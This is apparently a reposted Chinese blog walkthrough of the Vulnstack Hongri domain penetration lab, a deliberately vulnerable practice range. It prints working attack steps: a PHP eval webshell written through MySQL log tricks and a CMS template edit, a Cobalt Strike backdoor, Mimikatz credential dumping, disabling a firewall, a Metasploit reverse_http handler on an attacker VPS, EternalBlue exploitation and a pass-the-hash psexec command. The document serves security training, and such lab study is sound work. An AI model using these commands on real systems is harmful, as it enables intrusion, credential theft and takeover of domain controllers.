Vulnstack红日安全内网域渗透靶场1实战
文章目錄
- 前言
- 靶場環境搭建
- 外網邊界突破
- MySQL寫日志Getshell
- CMS后臺上傳GetShell
- 內網信息探測
- 靶機CS Backdoor上線
- 內網域環境信息的收集
- 內網橫向滲透
- CS派生會話給公網MSF
- MSF進行永恒之藍攻擊
- MSF開啟3389遠程桌面
- MSF哈希傳遞攻擊PTH
- 總結
前言
VulnStack 是由紅日安全團隊傾力打造一個靶場知識平臺,靶場環境(CMS、漏洞管理、以及域管理等)全部依據國內企業的業務習慣進行模擬,環境設計思路全部來源 ATT&CK 紅隊評估設計模式,從環境搭建、漏洞利用、內網搜集、橫向移動、構建通道、持久控制、痕跡清理等方式進行搭建靶場和設計題目。為了進一步學習內網滲透,本文將學習并記錄紅日安全團隊提供的一個內網域環境靶場的滲透過程。
靶場環境搭建
在線 靶場鏈接 如下:
1、下載后為 3 個虛擬機,網絡拓撲如下:
2、從網絡拓撲圖得知,需要模擬內網和外網兩個網段, Win7 虛擬機相當于網關服務器,所以需要兩張網卡,故需要配置兩個網絡適配器(網卡),點擊添加網絡設配器:
3、然后將 Win7 的網絡適配器 1 設置成自定義( VMnet1 僅主機模式),網絡適配器 2 設置成 NAT 模式:
4、而 Win2003、Win2008 網絡適配器設置成自定義(VMnet1僅主機模式)即可:
5、至此網絡配置完成,現在可以登進去每個服務器看一看,是不是成功獲取了IP,這三臺虛擬主機默認開機密碼都是 hongrisec@2019(有的會提示密碼已過期,更改為 Qwer1234 即可),最終形成的 IP 劃分情況如下:
| Win10 物理機 | 192.168.92.1(VMnet8 網卡的IP) |
| Win7 外網服務器 | 外網IP:192.168.92.130;內網IP:192,168.52.143 |
| Win2003 域成員主機 | 內網IP:192.168.52.141 |
| Win 2008 域控主機 | 內網IP:192.168.52.138 |
| VPS 攻擊機(MSF、CS服務器) | 外網IP:104.XXX.XXX.164 |
【注意】實際上域環境三臺虛擬機的 IP 初始狀態就已經被配置為固定的 192.168.52.XXX/24網段(同時已配置好域控 IP 必定為 192.168.52.138),故 VMware 僅主機模式的 VMnet1 網卡應注意也配置為 192.168.52.XXX/24 網段:
6、配置完網絡順便驗證下, Win7 外網服務器主機可訪問外網,Win2003 內網主機不可通外網:
6、環境搭建的最后,在 Win7 外網服務器主機的 C 盤找到 PhpStudy 啟動 Web 服務(模擬外網 Web 站點):
7、使用 Win10 物理機可正常訪問 Win7 服務器的站點:
至此,整個內網域靶場的環境搭建完畢。
外網邊界突破
接下來開始正式的滲透測試,紅日安全團隊給出了一個紅隊的評估測試方法流程可供參考:
可以看到想進目標內網,需要先再外網打點,找到目標單位的外網服務站點、主機漏洞,并獲得 Shell,再借助外網服務器當跳板機訪問目標內網。
MySQL寫日志Getshell
1、在 Win10 物理機訪問目標單位的外網站點,發現一個 MySQL 連接檢測:
輸入賬號 root 密碼 root 進行連接檢測,發現連接成功:
2、然并卵,沒啥用啊,無奈使用 dirsearch 掃描下 Web 路徑,有驚喜,發現有 phpmyadmin 路徑:
3、訪問 PhpMyAdmin (它是一個以 PHP 為基礎,以 Web-Base 方式架構在網站主機上的 MySQL 的數據庫管理工具,讓管理者可用 Web 接口管理 MySQL 數據庫),如下圖所示:
4、發現存在弱口令 root/root,可成功登錄后臺:
接下來通過 PhpMyAdmin 后臺 Getshell 有兩種方法,具體可參見我的另一篇博文:滲透測試-PhpMyAdmin后臺getshell。
5、先嘗試直接使用into outfile導出木馬的方式是否可行,先執行select @@basedir;查網站的物理路徑:
那么執行select '<?php eval($_POST[cmd]);?>' into outfile 'C:/phpStudy/www/111.php';寫入木馬到網站的根目錄,寫入失敗(需要修改 MySQL 配置才行,具體參見另一博文,此處不介紹):
6、直接寫入木馬不行,那就換另一種方法——通過 MySQL 日志導入木馬。先執行命令:show variables like '%general%'; 查看日志狀態:
7、當開啟 general_log 時,所執行的 SQL 語句都會出現在 stu1.log 文件中。那么如果修改 general_log_file 的值,則所執行的 SQL 語句就會對應生成對應的文件中,進而可 Getshell。故執行命令:SET GLOBAL general_log='on':
8、執行命令:SET GLOBAL general_log_file='C:/phpStudy/www/111.php',指定日志寫入到網站根目錄的 111.php 文件:
9、接下來執行 SQL 語句:SELECT '<?php eval($_POST["cmd"]);?>',即可將一句話木馬寫入 111.php 文件中:
10、訪問日志文件(已寫入一句話木馬):
直接上 Cknife 工具 Getshell,如下圖所示:
CMS后臺上傳GetShell
此靶場還有另外一種從外網 Getshell 的突破方法,本著以學習為目的的初心,在此也記錄一下吧。
1、御劍掃網站后臺,發現一個備份文件:
解壓縮發現是一個 CMS 的源碼:
2、猜測服務器搭建了 yxcms 系統,訪問路徑,果然存在:
3、觀察發現公告處有提示后臺地址和賬號密碼……
4、那必然是進后臺……CMS相關系列,能拿到后臺的,離 shell 還遠嗎?不是日志寫入一句話,就是某某模板編譯寫入一句話,果斷找模板編輯的地方。如下找到“前臺模板”功能,點擊進入編輯:
5、新增 shell.php 文件:
6、創建成功后我們通過剛剛拿到的網站源碼,進行文件目錄查找,最后找到木馬生成后的位置在/yxcms/protected/apps/default/view/default/路徑下,如下:
7、故訪問該路徑下(http://192.168.92.130/yxcms/protected/apps/default/view/default/shell.php)的木馬:
上 Cknife 連接木馬文件獲得 Shell,如下所示:
同時發現已經是管理員賬戶可以省略提權了(但似乎只是一個域用戶):
至此,外網打點 GetShell 結束,下面將進入內網滲透階段。
內網信息探測
下面開始內網滲透的硬骨頭,目標是通過 Win7 外網服務器主機的現有控制權,橫向滲透內網,拿下域控!在此之前需要進行內網信息搜集,摸清內網域組成和網絡拓樸。
靶機CS Backdoor上線
拿下服務器權限后就要植入 Backdoor,植入 Backdoor 的方法大致有兩種—— MSF 和 Cobalts Strike,這里演示 Cobalts Strike 的方式。
1、公網 VPS 上運行 CS 服務:
2、本地 Win10 物理機運行 CS 客戶端并連接 CS 服務端,然后生成 exe 可執行 Backdoor 程序:
3、利用 Cknife 將生成的 exe Backdoor 文件上傳到靶機:
4、接著在 Cknife 中使用終端命令行執行 exe Backdoor,隨之 CS 客戶端可以看到靶機上線:
5、進行簡單的靶機信息收集:
6、可使用 Mimikatz 直接抓取本機用戶密碼:
7、進一步還可以利用 MS14-058 成功提權到 SYSTEM 系統權限賬戶:
內網域環境信息的收集
內網信息收集的主要目的就是查找域控以及域內的其他主機,先附上部分內網信息收集的命令:
net view # 查看局域網內其他主機名 net config Workstation # 查看計算機名、全名、用戶名、系統版本、工作站、域、登錄域 net user # 查看本機用戶列表 net user /domain # 查看域用戶 net localgroup administrators # 查看本地管理員組(通常會有域用戶) net view /domain # 查看有幾個域 net user 用戶名 /domain # 獲取指定域用戶的信息 net group /domain # 查看域里面的工作組,查看把用戶分了多少組(只能在域控上操作) net group 組名 /domain # 查看域中某工作組 net group "domain admins" /domain # 查看域管理員的名字 net group "domain computers" /domain # 查看域中的其他主機名 net group "doamin controllers" /domain # 查看域控制器主機名(可能有多臺)1、先判斷是否存在域,使用 ipconfig /all 查看 DNS 服務器,發現主 DNS 后綴不為空,存在域god.org,如下圖所示:
或者也可以執行命令net config Workstation 來查看當前計算機名、全名、用戶名、系統版本、工作站、域、登錄域等全面的信息:
2、上面發現 DNS 服務器名為 god.org,當前登錄域為 GOD,那接下來可執行net view /domain查看有幾個域(域環境可能存在多個域):
3、既然只有一個域,那就利用 net group "domain controllers" /domain 命令查看域控制器主機名,直接確認域控主機的名稱為 OWA:
4、已經確認域控主機的名稱為 OWA,繼續執行命名net view查看查看局域網內其他主機信息(主機名稱、IP地址),可得知域控主機的 IP 為 192.168.52.138,如下圖所示:
5、局域網掃描出來除了域控主機之外還有另一臺主機(名稱為ROOT-TVI862UBEH),最后再確認一下該主機是否也是存在域中,故執行命令net group "domain computers" /domain 查看域中的其他主機名,發現包含ROOT-TVI862UBEH,故域中還包含一個域成員主機192.168.52.141,如下所示:
至此內網域信息搜集完畢,已經明確了域控主機為192.168.52.138,同時還存在另一臺域成員192.168.52.141,接下來的目標就是橫向滲透拿下域控!
內網橫向滲透
接下來將通過 Win7 跳板機,橫向滲透拿下內網域內的域成員主機和域控主機。
CS派生會話給公網MSF
MSF 框架集成了諸多滲透測試的利器,在內網滲透中經常要將 CS 和 MSF 搭配起來一塊食用!下面演示如何將 CS 獲取到的會話派生給 MSF。
此處我在 VPS 主機上同時搭建了 MSF 框架和 CS 服務,其中 MSF 的搭建只需執行以下幾條命令即可:
apt-get install curl,wget curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall chmod 755 msfinstall 執行安裝腳本:./msfinstall 啟動MSF框架: msfconsole1、MSF 開啟監聽:
use exploit/multi/handler set payload windows/meterpreter/reverse_http set lhost 104.168.***.*** set lport 6666 exploit如下圖所示:
2、CS 開啟監聽
回到 Cobalt Strike 中添加監聽器,Payload 為 windows/foreign/reverse_http,IP 為 MSF 的 IP,監聽端口為 MSF 監聽的端口:
3、CS 派生會話
選擇剛才新建的與 MSF 對應的監聽器:
此時返回 VPS 中的 MSF 窗口即可看到獲得的 Shell 會話:
4、MSF 簡單利用
獲得 MSF 的會話后即可使用 MSF 集成的諸多強大功能模塊和腳本。簡單演示下,如調用post/windows/gather/checkvm判斷靶機是否屬于虛擬機(檢查是否進入了蜜罐):
再如調用 post/windows/gather/enum_applications模塊枚舉列出安裝在靶機上的應用程序:
MSF進行永恒之藍攻擊
公網 VPS 上 MSF 獲得會話后,目標是借助 MSF 集成的攻擊模塊開展橫向滲透拿下內網其他機器。
靜態路由配置
MSF 的 autoroute 模塊是 MSF 框架中自帶的一個路由轉發功能,實現過程是 MSF 框架在已經獲取的 Meterpreter Shell 的基礎上添加一條去往“內網”的路由,直接使用 MSF 去訪問原本不能直接訪問的內網資源,只要路由可達我們既可使用 MSF 來進行探測了。
首先需要使用配置靜態路由:
#加載MSF的autoroute模塊,獲取當前機器的所有網段信息 meterpreter > run post/multi/manage/autoroute #添加目標內網路由 meterpreter > run post/multi/manage/autoroute SUBNET=192.168.52.0 ACTION=ADD1、獲取、查看當前機器的所有網段信息:
2、添加目標內網路由(添加失敗,因為該路由已存在):
MSF內網端口掃描
現在路由可達內網網段,可以先對內網主機進行探測。
1、先執行background 命令將當前執行的 Meterpreter 會話切換到后臺(后續也可執行sessions -i 重新返回會話),然后使用 MSF 自帶 auxiliary/scanner/portscan/tcp 模塊掃描內網域成員主機 192.168.52.141 開放的端口:
msf6 > use auxiliary/scanner/portscan/tcp msf6 > set rhosts 192.168.52.141 msf6 > set ports 80,135-139,445,3306,3389 msf6 > run發現開啟了 445 端口:
2、同樣的方法,發現域控主機192.168.52.138也開啟了 445 端口:
利用ms17-010進行攻擊
1、對于開啟了 445 端口的 Windows 服務器,肯定是要進行一波永恒之藍掃描嘗試的,借助 MSF 自帶的漏洞掃描模塊進行掃描:
msf6 > search ms17_010 #搜索MSF集成的與ms17_010漏洞相關的模塊 msf6 >use auxiliary/scanner/smb/smb_ms17_010 # 加載掃描exp msf6 >set rhosts 192.168.52.141 #設置被掃描的主機IP msf6 >run #進行掃描,觀察是否存在該漏洞如下圖所示,發現內網其他兩臺主機都存在永恒之藍漏洞:
2、接下來嘗試利用永恒之藍漏洞拿下域控主機192.168.52.138,使用 MSF 集成的 ms17-010 漏洞 EXP:
執行命令如下:
發現域控主機被打藍屏了:
但是 MSF 并未成功獲得域控主機的 Shell 會話:
3、猜測是跳板機 Win7 的防火墻導致的,返回 Win7 的 Shell 會話并執行命令關閉跳板機的防火墻功能:
執行結果如下:
此時到 Win7 虛擬機也可以看到防火墻被關閉的提醒:
4、好了那接下來就開始重新對域控主機進行永恒之藍攻擊,還是無法獲得 Shell 會話……
5、好吧看網上資料確實要通過永恒之藍直接獲得目標主機的 Shell 的話成功率不高(我甚至把域控主機的防火墻也關了發現也不行)……以下成果演示借鑒內網滲透靶場學習實驗 ,如下是成功通過永恒之藍獲得域控的 MSF 會話:
可執行命令screenshot截取目標靶機的屏幕,確認已拿下域控:
以上便是借助永恒之藍漏洞橫向滲透拿下域控主機的全過程!
MSF開啟3389遠程桌面
拿下域控的 Shell 后如果能使用遠程桌面連接域控主機,那么管理起來肯定更加方便了。
1、MSF 提供端口轉發模塊,可以實現將內網的遠程桌面端口轉發到外網跳板機的端口上,以實現本地物理機進行遠程桌面連接。其具體命令如下:
portfwd -l:本地監聽端口 -r:內網目標的ip -p:內網目標的端口2、執行命令:portfwd add -l 9999 -r 192.168.52.138 -p 3389,即可將內網域控主機的192.168.52.138的 3389 端口代理到 Win7 跳板機的 9999 端口上,大佬演示如下:
3、本人因未能借助永恒之藍拿到域控的 Shell,所以此處演示下開啟 Win7 跳板機的 3389 端口,先來看看 Win7 跳板機默認是不開啟遠程桌面的:
4、由于已經在 MSF 中獲得 Win7 的 Shell,故只需要返回會話并執行命令run post/windows/manage/enable_rdp即可開啟靶機的遠程桌面:
5、此時重新連接即可成功連上 Win7 的遠程桌面:
6、獲得服務器 Shell 后開啟遠程桌面的方法,除了借助 MSF,在常規滲透過程也可以在 CMD 命令中實現:
上述命令可以在冰蝎、菜刀的命令終端執行即可。篇幅所限,此處不再演示。
MSF哈希傳遞攻擊PTH
上面既然通過永恒之藍漏洞難以獲得域控主機的 Shell,那就換一種攻擊思路拿下域控吧,下面演示的是通過哈希傳遞攻擊 PTH 拿下域控主機。PTH 的相關概念和知識可以參見我的另一篇博文:淺析Windows域環境身份認證與攻擊思路。
【哈希傳遞攻擊】在 kerberos、NTLM 認證過程的關鍵,首先就是基于用戶密碼 Hash 的加密,所以在域滲透中,無法破解用戶密碼 Hash 的情況下,也可以直接利用 Hash 來完成認證,達到攻擊的目的,這就是 hash 傳遞攻擊(Pass The Hash,簡稱 PTH)。如果內網主機的本地管理員賬戶密碼相同,那么可以通過 PTH 遠程登錄到任意一臺主機,操作簡單、威力無窮。
在域環境中,利用哈希傳遞攻擊的滲透方式往往是這樣的:
下面使用 Metasploit 來進行本靶場環境的進行 PTH 攻擊演示:
1、進行哈希傳遞攻擊的前提是獲得已知主機用戶的密碼 Hash 值,MSF 中自帶 mimikatz 模塊(在 MSF6 中已被更強大的 kiwi 模塊取代)可以進行哈希憑證竊取,用法可參見博文:Metasploit-進階用戶密碼與mimikatz模塊kiwi模塊,此處不演示。大道至簡,直接借助 CS 進行用戶哈希憑證竊取:
獲得的 Administrator 管理員賬戶的密碼信息如下:
2、獲得 NTLM Hash:b0093b0887bf1b515a90cf123bce7fba,在 Metasploit 中,經常使用于哈希傳遞攻擊的模塊有:
auxiliary/admin/smb/psexec_command //在目標機器上執行系統命令 exploit/windows/smb/psexec //用psexec執行系統命令 exploit/windows/smb/psexec_psh //使用powershell作為payload3、以exploit/windows/smb/psexec模塊哈希傳遞攻擊 Windows Server 2008 為例:
use exploit/windows/smb/psexec set rhosts 192.168.52.138 set smbuser administrator set smbpass 00000000000000000000000000000000:b0093b0887bf1b515a90cf123bce7fba set smbdomain god run然而我發現我又執行失敗了(我太難了,應該是靶場域環境的問題,Win7 跳板機執行域命令會頻繁出現 RPC 服務不可用的報錯,各種百度無果)……
不想折騰了,直接放上大佬們的成功執行 PTH 攻擊的成果截圖吧:
總結
該內網靶場的滲透實驗,大概得折騰了我整整 3-4 天才做完(而且各種攻擊不暢……),其中 Win7 跳板機執行域命令頻繁報錯如下(各種百度解決方案均行不通,如有知情大佬請賜教,感激不盡……):
最后我發現在 Win7 上切換用戶、登錄域其他賬戶是偶爾可以成功執行域命令的:
雖然最后拿下域控的結果是盜用大佬的圖(自己沒成功很不爽……),但是該靶場練習過程也學到了很多內網滲透的實戰知識!比如 CS 與 MSF 如何聯動、MSF 如何開啟 Windows 靶機的遠程桌面、如何進行哈希傳遞攻擊等。內網滲透水還很深,繼續加油吧!
總結
以上是生活随笔為你收集整理的Vulnstack红日安全内网域渗透靶场1实战的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 关于SOAP的几篇文章
- 下一篇: Access 时间比较错误